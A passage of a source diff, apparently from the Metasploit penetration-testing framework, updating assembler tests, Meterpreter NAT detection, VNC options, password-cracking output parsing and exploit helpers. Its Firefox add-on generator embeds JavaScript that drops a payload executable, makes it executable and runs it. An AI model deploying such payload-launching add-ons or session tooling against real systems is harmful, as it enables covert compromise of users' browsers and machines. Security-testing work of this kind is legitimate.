2; +EOS + test_layout < 0 -> 1 +0 -> 2 -> 3 -> 4 -> 5 +4 -> 6 +4 -> 7 -> 5 +4 -> 8 -> 6 +2 -> 1 -> 7 +3 -> 1 -> 8 +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 4; +2 -> 9; +5 -> 9; +EOS + test_layout < 2 -> 3 -> 4 -> 5 -> 6 -> 4 +2 -> 9 +5 -> 9 +9 -> a -> 9 +EOS + test_layout < onlyloop +EOS + +rescue Interrupt +end + +if __FILE__ == $0 + $target = ARGV[0] + test_all +end diff --git a/lib/metasm/tests/ia32.rb b/lib/metasm/tests/ia32.rb index fc1da82a2d..e4d990b1ed 100644 --- a/lib/metasm/tests/ia32.rb +++ b/lib/metasm/tests/ia32.rb @@ -44,6 +44,17 @@ class TestIa32 < Test::Unit::TestCase assert_equal(assemble("jmp.i32 $"), "\xe9\xfb\xff\xff\xff") end + def test_opsz + assert_equal(assemble("cbw"), "\x66\x98") + assert_equal(assemble("cwde"), "\x98") + + assert_equal(assemble("cbw", @@cpu16), "\x98") + assert_equal(assemble("cwde", @@cpu16), "\x66\x98") + + assert_equal(assemble("cmpxchg8b [eax]"), "\x0f\xc7\x08") + assert_equal(assemble("cmpxchg8b [bx]", @@cpu16), "\x66\x0f\xc7\x0f") + end + def test_mrmsz assert_equal(assemble("mov [eax], ebx"), "\x89\x18") assert_equal(assemble("mov [eax], bl"), "\x88\x18") @@ -77,6 +88,23 @@ class TestIa32 < Test::Unit::TestCase d = disassemble("\x90") assert_equal(d.decoded[0].class, Metasm::DecodedInstruction) assert_equal(d.decoded[0].opcode.name, "nop") + + assert_equal(disassemble("\x66\x0f\xc7\x08").decoded[0], nil) + assert_equal(disassemble("\x0f\xc7\x08").decoded[0].opcode.name, "cmpxchg8b") end + def test_pfx + assert_equal(assemble("nop"), "\x90") + assert_equal(assemble("pause"), "\xf3\x90") + assert_equal(disassemble("\x90").decoded.values.first.opcode.name, "nop") + assert_equal(disassemble("\xf3\x90").decoded.values.first.opcode.name, "pause") + end + + def test_avx + assert_equal(disassemble("\xc4\xc3\x75\x42\xc2\x03").decoded[0].instruction.to_s, "vmpsadbw ymm0, ymm1, ymm2, 3") + assert_equal(assemble("vmpsadbw ymm0, ymm1, ymm2, 3"), "\xc4\xc3\x75\x42\xc2\x03") + assert_equal(assemble("vpblendvb xmm1, xmm2, xmm3, xmm4"), "\xc4\xc3\x69\x4c\xcb\x40") + assert_equal(assemble("vgatherdpd xmm1, qword ptr [edx+xmm1], xmm2"), "\xc4\xc2\xe9\x92\x0c\x0a") + assert_equal(disassemble("\xc4\xc2\xe9\x92\x0c\x0a").decoded[0].instruction.to_s, "vgatherdpd xmm1, qword ptr [edx+xmm1], xmm2") + end end diff --git a/lib/metasm/tests/parse_c.rb b/lib/metasm/tests/parse_c.rb index dd3afa1780..3fb412bcef 100644 --- a/lib/metasm/tests/parse_c.rb +++ b/lib/metasm/tests/parse_c.rb @@ -36,6 +36,12 @@ class TestDynldr < Test::Unit::TestCase assert_raise(Metasm::ParseError) { cp.parse("long long long fu;") } cp.readtok until cp.eos? + assert_raise(Metasm::ParseError) { cp.parse("void badarg(int i, int i) {}") } + cp.readtok until cp.eos? + + assert_raise(Metasm::ParseError) { cp.parse("struct strun; union strun;") } + cp.readtok until cp.eos? + assert_raise(Metasm::ParseError) { cp.parse < :size) - assert_equal(12, s.length) + assert_equal(12, s.sizeof) assert_equal(12, s.i) assert_raise(RuntimeError) { s.l = 42 } assert_nothing_raised { s.j = 0x12345678 } @@ -165,4 +192,48 @@ EOS assert_equal(4, s.inner.stroff) assert_equal("0C0000007856341233333333", s.str.unpack('H*')[0].upcase) end + + def test_cmpstruct +st = < 0 - nhost = iface.first.ip - end - end - end + nhost = find_internet_connected_address + original_session_host = self.session_host # If we found a better IP address for this session, change it up # only handle cases where the DB is not connected here - if not (framework.db and framework.db.active) + if !(framework.db && framework.db.active) self.session_host = nhost end - # The rest of this requires a database, so bail if it's not # there - return if not (framework.db and framework.db.active) + return if !(framework.db && framework.db.active) ::ActiveRecord::Base.connection_pool.with_connection { wspace = framework.db.find_workspace(workspace) @@ -384,18 +352,18 @@ class Meterpreter < Rex::Post::Meterpreter::Client if nhost framework.db.report_note({ :type => "host.nat.server", - :host => shost, + :host => original_session_host, :workspace => wspace, :data => { :info => "This device is acting as a NAT gateway for #{nhost}", :client => nhost }, :update => :unique_data }) - framework.db.report_host(:host => shost, :purpose => 'firewall' ) + framework.db.report_host(:host => original_session_host, :purpose => 'firewall' ) framework.db.report_note({ :type => "host.nat.client", :host => nhost, :workspace => wspace, - :data => { :info => "This device is traversing NAT gateway #{shost}", :server => shost }, + :data => { :info => "This device is traversing NAT gateway #{original_session_host}", :server => original_session_host }, :update => :unique_data }) framework.db.report_host(:host => nhost, :purpose => 'client' ) @@ -428,7 +396,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client console.interact { self.interacting != true } # If the stop flag has been set, then that means the user exited. Raise - # the EOFError so we can drop this bitch like a bad habit. + # the EOFError so we can drop this handle like a bad habit. raise EOFError if (console.stopped? == true) end @@ -470,6 +438,60 @@ protected attr_accessor :rstream # :nodoc: + # Rummage through this host's routes and interfaces looking for an + # address that it uses to talk to the internet. + # + # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_interfaces + # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes + # @return [String] The address from which this host reaches the + # internet, as ASCII. e.g.: "192.168.100.156" + def find_internet_connected_address + + ifaces = self.net.config.get_interfaces().flatten rescue [] + routes = self.net.config.get_routes().flatten rescue [] + + # Try to match our visible IP to a real interface + found = !!(ifaces.find { |i| i.addrs.find { |a| a == session_host } }) + nhost = nil + + # If the host has no address that matches what we see, then one of + # us is behind NAT so we have to look harder. + if !found + # Grab all routes to the internet + default_routes = routes.select { |r| r.subnet == "0.0.0.0" || r.subnet == "::" } + + default_routes.each do |route| + # Now try to find an interface whose network includes this + # Route's gateway, which means it's the one the host uses to get + # to the interweb. + ifaces.each do |i| + # Try all the addresses this interface has configured + addr_and_mask = i.addrs.zip(i.netmasks).find do |addr, netmask| + bits = Rex::Socket.net2bitmask( netmask ) + range = Rex::Socket::RangeWalker.new("#{addr}/#{bits}") rescue nil + + !!(range && range.valid? && range.include?(route.gateway)) + end + if addr_and_mask + nhost = addr_and_mask[0] + break + end + end + break if nhost + end + + if !nhost + # Find the first non-loopback address + non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" } + if non_loopback + nhost = non_loopback.ip + end + end + end + + nhost + end + end end diff --git a/lib/msf/base/sessions/vncinject.rb b/lib/msf/base/sessions/vncinject.rb index e4be177c22..eaa7decf8f 100644 --- a/lib/msf/base/sessions/vncinject.rb +++ b/lib/msf/base/sessions/vncinject.rb @@ -152,14 +152,18 @@ class VncInject # Note that this says nothing about whether it worked, only that we found # the file. # - def autovnc + def autovnc(viewonly=true) vnc = Rex::FileUtils::find_full_path('vncviewer') || Rex::FileUtils::find_full_path('vncviewer.exe') if (vnc) + args = [] + args.push '-viewonly' if viewonly + args.push "#{vlhost}::#{vlport}" + self.view = framework.threads.spawn("VncViewerWrapper", false) { - system("vncviewer #{vlhost}::#{vlport}") + system(vnc, *args) } return true diff --git a/lib/msf/base/sessions/vncinject_options.rb b/lib/msf/base/sessions/vncinject_options.rb index f110772c9b..05962133fc 100644 --- a/lib/msf/base/sessions/vncinject_options.rb +++ b/lib/msf/base/sessions/vncinject_options.rb @@ -22,6 +22,18 @@ module VncInjectOptions "The local host to use for the VNC proxy", '127.0.0.1' ]), + OptBool.new('DisableCourtesyShell', + [ + false, + "Disables the Metasploit Courtesy shell", + true + ]), + OptBool.new('ViewOnly', + [ + false, + "Runs the viewer in view mode", + true + ]), OptBool.new('AUTOVNC', [ true, @@ -32,12 +44,6 @@ module VncInjectOptions register_advanced_options( [ - OptBool.new('DisableCourtesyShell', - [ - false, - "Disables the Metasploit Courtesy shell", - false - ]), OptBool.new('DisableSessionTracking', [ false, @@ -79,7 +85,7 @@ module VncInjectOptions # If the AUTOVNC flag is set, launch VNC viewer. if (datastore['AUTOVNC'] == true) - if (session.autovnc) + if (session.autovnc(datastore['ViewOnly'])) print_status("Launched vncviewer.") else print_error("Failed to launch vncviewer. Is it installed and in your path?") diff --git a/lib/msf/base/simple/framework.rb b/lib/msf/base/simple/framework.rb index bf0a1e7567..ff45da2aa2 100644 --- a/lib/msf/base/simple/framework.rb +++ b/lib/msf/base/simple/framework.rb @@ -100,7 +100,7 @@ module Framework # Initialize configuration and logging Msf::Config.init - Msf::Logging.init + Msf::Logging.init unless opts['DisableLogging'] # Load the configuration framework.load_config diff --git a/lib/msf/base/simple/post.rb b/lib/msf/base/simple/post.rb index c8922697a5..9cda2a1338 100644 --- a/lib/msf/base/simple/post.rb +++ b/lib/msf/base/simple/post.rb @@ -89,7 +89,7 @@ protected # # Job run proc, sets up the module and kicks it off. # - # XXX: Mostly Copy/pasted from simple/auxiliarly.rb + # XXX: Mostly Copy/pasted from simple/auxiliary.rb # def self.job_run_proc(ctx) mod = ctx[0] @@ -99,9 +99,15 @@ protected # Grab the session object since we need to fire an event for not # only the normal module_run event that all module types have to # report, but a specific event for sessions as well. - s = mod.framework.sessions[mod.datastore["SESSION"]] - mod.framework.events.on_session_module_run(s, mod) - mod.run + s = mod.framework.sessions.get(mod.datastore["SESSION"]) + if s + mod.framework.events.on_session_module_run(s, mod) + mod.run + else + mod.print_error("Session not found") + mod.cleanup + return + end rescue ::Timeout::Error => e mod.error = e mod.print_error("Post triggered a timeout exception") @@ -135,7 +141,7 @@ protected # # Clean up the module after the job completes. # - # Copy/pasted from simple/auxiliarly.rb + # Copy/pasted from simple/auxiliary.rb # def self.job_cleanup_proc(ctx) mod = ctx[0] diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index c1053918eb..65c35736bd 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -135,14 +135,21 @@ module Auxiliary::JohnTheRipper ::IO.popen(cmd, "rb") do |fd| fd.each_line do |line| + line.chomp! print_status(line) if line =~ /(\d+) password hash(es)* cracked, (\d+) left/m res[:cracked] = $1.to_i res[:uncracked] = $2.to_i end - bits = line.split(':') + bits = line.split(':', -1) + + # If the password had : characters in it, put them back together + while bits.length > 7 + bits[1,2] = bits[1,2].join(":") + end next if not bits[2] + if (format== 'lm' or format == 'nt') res[ :users ][ bits[0] ] = bits[1] else @@ -201,7 +208,14 @@ module Auxiliary::JohnTheRipper end def john_wordlist_path - ::File.join(john_base_path, "wordlists", "password.lst") + # We ship it under wordlists/ + path = ::File.join(john_base_path, "wordlists", "password.lst") + # magnumripper/JohnTheRipper repo keeps it under run/ + unless ::File.file? path + path = ::File.join(john_base_path, "run", "password.lst") + end + + path end def john_binary_path @@ -209,6 +223,7 @@ module Auxiliary::JohnTheRipper if datastore['JOHN_PATH'] and ::File.file?(datastore['JOHN_PATH']) path = datastore['JOHN_PATH'] ::FileUtils.chmod(0755, path) rescue nil + return path end if not @run_path diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index e08efc4ef1..fade61b0ea 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -32,6 +32,16 @@ def initialize(info = {}) end +def check + nmod = replicant + begin + nmod.check_host(datastore['RHOST']) + rescue NoMethodError + Exploit::CheckCode::Unsupported + end +end + + # # The command handler when launched from the console # @@ -79,7 +89,7 @@ def run @tl = [] - while (true) + loop do # Spawn threads for each host while (@tl.length < threads_max) ip = ar.next_ip diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index ef92dcb7da..e029fe8abe 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -1547,9 +1547,9 @@ class DBManager ret = {} - #Check to see if the creds already exist. We look also for a downcased username with the - #same password because we can fairly safely assume they are not in fact two seperate creds. - #this allows us to hedge against duplication of creds in the DB. + # Check to see if the creds already exist. We look also for a downcased username with the + # same password because we can fairly safely assume they are not in fact two seperate creds. + # this allows us to hedge against duplication of creds in the DB. if duplicate_ok # If duplicate usernames are okay, find by both user and password (allows @@ -3171,7 +3171,7 @@ class DBManager data = "" ::File.open(filename, 'rb') do |f| data = f.read(f.stat.size) - end + end import_wapiti_xml(args.merge(:data => data)) end @@ -3487,16 +3487,29 @@ class DBManager sname = $6 end when /^[\s]*Warning:/ - next # Discard warning messages. - when /^[\s]*([^\s:]+):[0-9]+:([A-Fa-f0-9]+:[A-Fa-f0-9]+):[^\s]*$/ # SMB Hash + # Discard warning messages. + next + + # SMB Hash + when /^[\s]*([^\s:]+):[0-9]+:([A-Fa-f0-9]+:[A-Fa-f0-9]+):[^\s]*$/ user = ([nil, ""].include?($1)) ? "" : $1 pass = ([nil, ""].include?($2)) ? "" : $2 ptype = "smb_hash" - when /^[\s]*([^\s:]+):([0-9]+):NO PASSWORD\*+:NO PASSWORD\*+[^\s]*$/ # SMB Hash + + # SMB Hash + when /^[\s]*([^\s:]+):([0-9]+):NO PASSWORD\*+:NO PASSWORD\*+[^\s]*$/ user = ([nil, ""].include?($1)) ? "" : $1 pass = "" ptype = "smb_hash" - when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass + + # SMB Hash with cracked plaintext, or just plain old plaintext + when /^[\s]*([^\s:]+):(.+):[A-Fa-f0-9]*:[A-Fa-f0-9]*:::$/ + user = ([nil, ""].include?($1)) ? "" : $1 + pass = ([nil, ""].include?($2)) ? "" : $2 + ptype = "password" + + # Must be a user pass + when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n user = ([nil, ""].include?($1)) ? "" : dehex($1) pass = ([nil, ""].include?($2)) ? "" : dehex($2) ptype = "password" @@ -5631,19 +5644,19 @@ class DBManager # Pull out vulnerabilities that have at least one matching # ref -- many "vulns" are not vulns, just audit information. - def find_qualys_asset_vulns(host,wspace,hobj,vuln_refs,&block) + def find_qualys_asset_vulns(host,wspace,hobj,vuln_refs,task_id,&block) host.elements.each("VULN_INFO_LIST/VULN_INFO") do |vi| next unless vi.elements["QID"] vi.elements.each("QID") do |qid| next if vuln_refs[qid.text].nil? || vuln_refs[qid.text].empty? - handle_qualys(wspace, hobj, nil, nil, qid.text, nil, vuln_refs[qid.text], nil,nil, args[:task]) + handle_qualys(wspace, hobj, nil, nil, qid.text, nil, vuln_refs[qid.text], nil, nil, task_id) end end end # Takes QID numbers and finds the discovered services in # a qualys_asset_xml. - def find_qualys_asset_ports(i,host,wspace,hobj) + def find_qualys_asset_ports(i,host,wspace,hobj,task_id) return unless (i == 82023 || i == 82004) proto = i == 82023 ? 'tcp' : 'udp' qid = host.elements["VULN_INFO_LIST/VULN_INFO/QID[@id='qid_#{i}']"] @@ -5656,7 +5669,7 @@ class DBManager else name = match[2].strip end - handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name, nil, args[:task]) + handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name, nil, task_id) end end end @@ -5700,11 +5713,11 @@ class DBManager end # Report open ports. - find_qualys_asset_ports(82023,host,wspace,hobj) # TCP - find_qualys_asset_ports(82004,host,wspace,hobj) # UDP + find_qualys_asset_ports(82023,host,wspace,hobj, args[:task]) # TCP + find_qualys_asset_ports(82004,host,wspace,hobj, args[:task]) # UDP # Report vulns - find_qualys_asset_vulns(host,wspace,hobj,vuln_refs,&block) + find_qualys_asset_vulns(host,wspace,hobj,vuln_refs, args[:task],&block) end # host diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index ad79e6a02b..0a110f3006 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -149,11 +149,11 @@ class Export report_file.puts "Warning: could not read the private key '#{c.pass}'." end end - else "text" + when "text" data.each do |c| user = (c.user.nil? || c.user.empty?) ? "" : Rex::Text.ascii_safe_hex(c.user, true) pass = (c.pass.nil? || c.pass.empty?) ? "" : Rex::Text.ascii_safe_hex(c.pass, true) - report_file.write "%s %s\n" % [user,pass] + report_file.write "%s:%s:::\n" % [user,pass] end end report_file.flush @@ -372,7 +372,7 @@ class Export def extract_module_detail_info(report_file) Mdm::Module::Detail.all.each do |m| report_file.write("\n") - m_id = m.attributes["id"] + #m_id = m.attributes["id"] # Module attributes m.attributes.each_pair do |k,v| diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 47d94f0dea..06a9746a64 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -198,7 +198,7 @@ class EncodedPayload # Check to see if we have enough room for the minimum requirements if ((reqs['Space']) and (reqs['Space'] < eout.length + min)) - wlog("#{err_start}: Encoded payload version is too large with encoder #{encoder.refname}", + wlog("#{err_start}: Encoded payload version is too large (#{eout.length} bytes) with encoder #{encoder.refname}", 'core', LEV_1) next_encoder = true break @@ -232,6 +232,7 @@ class EncodedPayload # Prefix the prepend encoder value self.encoded = (reqs['PrependEncoder'] || '') + self.encoded + self.encoded << (reqs['AppendEncoder'] || '') end # diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index df8241193e..27bff1ce90 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -65,40 +65,48 @@ class Exploit < Msf::Module ## # # The various check codes that can be returned from the ``check'' routine. + # Please read the following wiki to learn how these codes are used: + # https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-check()-method # ## module CheckCode # - # Can't tell if the target is exploitable or not. + # Can't tell if the target is exploitable or not. This is recommended if the module fails to + # retrieve enough information from the target machine, such as due to a timeout. # Unknown = [ 'unknown', "Cannot reliably check exploitability."] # - # The target is safe and is therefore not exploitable. + # The target is safe and is therefore not exploitable. This is recommended after the check + # fails to trigger the vulnerability, or even detect the service. # Safe = [ 'safe', "The target is not exploitable." ] # - # The target is running the service in question but may not be - # exploitable. + # The target is running the service in question, but the check fails to determine whether + # the target is vulnerable or not. # Detected = [ 'detected', "The target service is running, but could not be validated." ] # - # The target appears to be vulnerable. + # The target appears to be vulnerable. This is recommended if the vulnerability is determined + # based on passive reconnaissance. For example: version, banner grabbing, or having the resource + # that's known to be vulnerable. # Appears = [ 'appears', "The target appears to be vulnerable." ] # - # The target is vulnerable. + # The target is vulnerable. Only used if the check is able to actually take advantage of the + # bug, and obtain hard evidence. For example: executing a command on the target machine, and + # retrieve the output. # Vulnerable = [ 'vulnerable', "The target is vulnerable." ] # - # The exploit does not support the check method. + # The module does not support the check method. # - Unsupported = [ 'unsupported', "This exploit does not support check." ] + Unsupported = [ 'unsupported', "This module does not support check." ] end # @@ -516,6 +524,7 @@ class Exploit < Msf::Module reqs['PrependEncoder'] = payload_prepend_encoder(explicit_target) reqs['BadChars'] = payload_badchars(explicit_target) reqs['Append'] = payload_append(explicit_target) + reqs['AppendEncoder'] = payload_append_encoder(explicit_target) reqs['MaxNops'] = payload_max_nops(explicit_target) reqs['MinNops'] = payload_min_nops(explicit_target) reqs['Encoder'] = datastore['ENCODER'] @@ -738,7 +747,7 @@ class Exploit < Msf::Module c_arch = (target and target.arch) ? target.arch : (arch == []) ? nil : arch framework.encoders.each_module_ranked( - 'Arch' => c_arch) { |name, mod| + 'Arch' => c_arch, 'Platform' => c_platform) { |name, mod| encoders << [ name, mod ] } @@ -823,6 +832,23 @@ class Exploit < Msf::Module p end + # + # Return any text that should be appended to the encoder of the payload. + # The payload module is passed so that the exploit can take a guess + # at architecture and platform if it's a multi exploit. + # + def payload_append_encoder(explicit_target = nil) + explicit_target ||= target + + if (explicit_target and explicit_target.payload_append_encoder) + p = explicit_target.payload_append_encoder + else + p = payload_info['AppendEncoder'] || '' + end + + p + end + # # Maximum number of nops to use as a hint to the framework. # Nil signifies that the framework should decide. diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index dd9b593152..b98d459585 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -139,8 +139,10 @@ protected # Prefer the target's platform/architecture information, but use # the module's if no target specific information exists + opts[:platform] ||= payload_instance.platform if self.respond_to? :payload_instance opts[:platform] ||= target_platform if self.respond_to? :target_platform opts[:platform] ||= platform if self.respond_to? :platform + opts[:arch] ||= payload_instance.arch if self.respond_to? :payload_instance opts[:arch] ||= target_arch if self.respond_to? :target_arch opts[:arch] ||= arch if self.respond_to? :arch end diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index d614d35fd3..d3cf4e46f0 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -164,7 +164,7 @@ module Exploit::Remote::HttpClient # Configure the HTTP client with the supplied parameter nclient.set_config( - 'vhost' => self.vhost(), + 'vhost' => opts['vhost'] || self.vhost(), 'agent' => datastore['UserAgent'], 'uri_encode_mode' => datastore['HTTP::uri_encode_mode'], 'uri_full_url' => datastore['HTTP::uri_full_url'], @@ -187,14 +187,14 @@ module Exploit::Remote::HttpClient 'uri_fake_end' => datastore['HTTP::uri_fake_end'], 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], 'header_folding' => datastore['HTTP::header_folding'], - 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'], - 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], - 'send_lm' => datastore['NTLM::SendLM'], - 'send_ntlm' => datastore['NTLM::SendNTLM'], - 'SendSPN' => datastore['NTLM::SendSPN'], - 'UseLMKey' => datastore['NTLM::UseLMKey'], - 'domain' => datastore['DOMAIN'], - 'DigestAuthIIS' => datastore['DigestAuthIIS'] + 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'], + 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], + 'send_lm' => datastore['NTLM::SendLM'], + 'send_ntlm' => datastore['NTLM::SendNTLM'], + 'SendSPN' => datastore['NTLM::SendSPN'], + 'UseLMKey' => datastore['NTLM::UseLMKey'], + 'domain' => datastore['DOMAIN'], + 'DigestAuthIIS' => datastore['DigestAuthIIS'] ) # If this connection is global, persist it @@ -268,8 +268,9 @@ module Exploit::Remote::HttpClient end end - # - # Connects to the server, creates a request, sends the request, reads the response + + # Connects to the server, creates a request, sends the request, + # reads the response # # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. # @@ -283,6 +284,37 @@ module Exploit::Remote::HttpClient end end + # + # Connects to the server, creates a request, sends the request, reads the response + # if a redirect (HTTP 30x response) is received it will attempt to follow the + # direct and retrieve that URI. + # + # @note The +opts+ will be updated to the updated location and +opts['redirect_uri']+ + # will contain the full URI. + # + def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1) + res = send_request_cgi(opts, timeout) + return res unless res && res.redirect? && redirect_depth > 0 + + redirect_depth -= 1 + location = res.redirection + return res if location.nil? + + opts['redirect_uri'] = location + opts['uri'] = location.path + opts['rhost'] = location.host + opts['vhost'] = location.host + opts['rport'] = location.port + + if location.scheme == 'https' + opts['ssl'] = true + else + opts['ssl'] = false + end + + send_request_cgi!(opts, timeout, redirect_depth) + end + # # Combine the user/pass into an auth string for the HTTP Client # diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 25e2d07d71..f28f94d050 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -181,7 +181,8 @@ module Exploit::Remote::HttpServer 'MsfExploit' => self, }, opts['Comm'], - datastore['SSLCert'] + datastore['SSLCert'], + datastore['SSLCompression'] ) self.service.server_name = datastore['HTTP::server_name'] @@ -200,6 +201,13 @@ module Exploit::Remote::HttpServer proto = (datastore["SSL"] ? "https" : "http") + # SSLCompression may or may not actually be available. For example, on + # Ubuntu, it's disabled by default, unless the correct environment + # variable is set. See https://github.com/rapid7/metasploit-framework/pull/2666 + if proto == "https" and datastore['SSLCompression'] + print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!") + end + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") if (opts['ServerHost'] == '0.0.0.0') @@ -711,6 +719,13 @@ protected Rex::Exploitation::HeapLib.new(custom_js, opts).to_s end + # + # Returns the heaplib2 javascript + # + def js_heaplib2(custom_js = '', opts = {}) + @cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={}) + end + def js_base64 @cache_base64 ||= Rex::Exploitation::Js::Utils.base64 end diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 87f4f82ebd..ea0341fced 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -175,6 +175,8 @@ module Msf # Special keys to ignore because the script registers this as [:activex] = true or false next if k == :clsid or k == :method + vprint_debug("Comparing requirement: #{k}=#{v} vs k=#{profile[k.to_sym]}") + if v.is_a? Regexp bad_reqs << k if profile[k.to_sym] !~ v elsif v.is_a? Proc diff --git a/lib/msf/core/exploit/remote/firefox_addon_generator.rb b/lib/msf/core/exploit/remote/firefox_addon_generator.rb index 85d3d879db..77678e4aef 100644 --- a/lib/msf/core/exploit/remote/firefox_addon_generator.rb +++ b/lib/msf/core/exploit/remote/firefox_addon_generator.rb @@ -10,87 +10,102 @@ module Msf module Exploit::Remote::FirefoxAddonGenerator + # for calling #generate_payload_exe + include Msf::Exploit::EXE + # Add in the supported datastore options - def initialize( info = {} ) + def initialize(info={}) super(update_info(info, 'Platform' => %w{ java linux osx solaris win }, 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ - [ 'Generic (Java Payload)', + [ 'Universal (Javascript XPCOM Shell)', { - 'Platform' => ['java'], - 'Arch' => ARCH_JAVA + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 + } + ], + [ 'Windows x64 (Native Payload)', + { + 'Platform' => 'windows', + 'Arch' => ARCH_X64 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 + } + ], + [ 'Linux x64 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X64 } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_PPC, + 'Arch' => ARCH_PPC } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 + } + ], + [ 'Mac OS X x64 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X64 } ] ], - 'DefaultTarget' => 1 + 'DefaultTarget' => 0 )) - register_options( [ - OptString.new('ADDONNAME', [ true, - "The addon name.", - "HTML5 Rendering Enhancements" - ]), + register_options([ + OptString.new('ADDONNAME', [ true, "The addon name.", "HTML5 Rendering Enhancements" ]), OptBool.new('AutoUninstall', [ true, "Automatically uninstall the addon after payload execution", true - ]) + ]) ], self.class) end # @return [Rex::Zip::Archive] containing a .xpi, ready to be served with the # 'application/x-xpinstall' MIME type - def generate_addon_xpi - if target.name == 'Generic (Java Payload)' - jar = p.encoded_jar - jar.build_manifest(:main_class => "metasploit.Payload") - payload_file = jar.pack - payload_name='payload.jar' - payload_script=%q| - var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java - java.lang.System.setSecurityManager(null); - var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]); - var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]); - m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]); - | + # @return nil if payload fails to generate + def generate_addon_xpi(cli) + if target.name =~ /Javascript/ + payload_file = nil + payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe' + payload_script = regenerate_payload(cli).encoded else payload_file = generate_payload_exe + return nil if payload_file.nil? payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe' payload_script=%q| - var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); - process.init(tmp); - process.run(false,[],0); + var process=Components.classes["@mozilla.org/process/util;1"] + .createInstance(Components.interfaces.nsIProcess); + process.init(tmp); + process.run(false,[],0); | if target.name != 'Windows x86 (Native Payload)' payload_script = %q| - var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); + var chmod=Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); chmod.initWithPath("/bin/chmod"); - var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); + var process=Components.classes["@mozilla.org/process/util;1"] + .createInstance(Components.interfaces.nsIProcess); process.init(chmod); process.run(true, ["+x", tmp.path], 2); | + payload_script @@ -98,46 +113,54 @@ module Exploit::Remote::FirefoxAddonGenerator end zip = Rex::Zip::Archive.new + bootstrap_script = 'function startup(data, reason) {' xpi_guid = Rex::Text.rand_guid - bootstrap_script = %q| -function startup(data, reason) { - var file = Components.classes["@mozilla.org/file/directory_service;1"]. - getService(Components.interfaces.nsIProperties). - get("ProfD", Components.interfaces.nsIFile); - file.append("extensions"); - | - bootstrap_script << %Q|xpi_guid="#{xpi_guid}";| - bootstrap_script << %Q|payload_name="#{payload_name}";| - bootstrap_script << %q| - 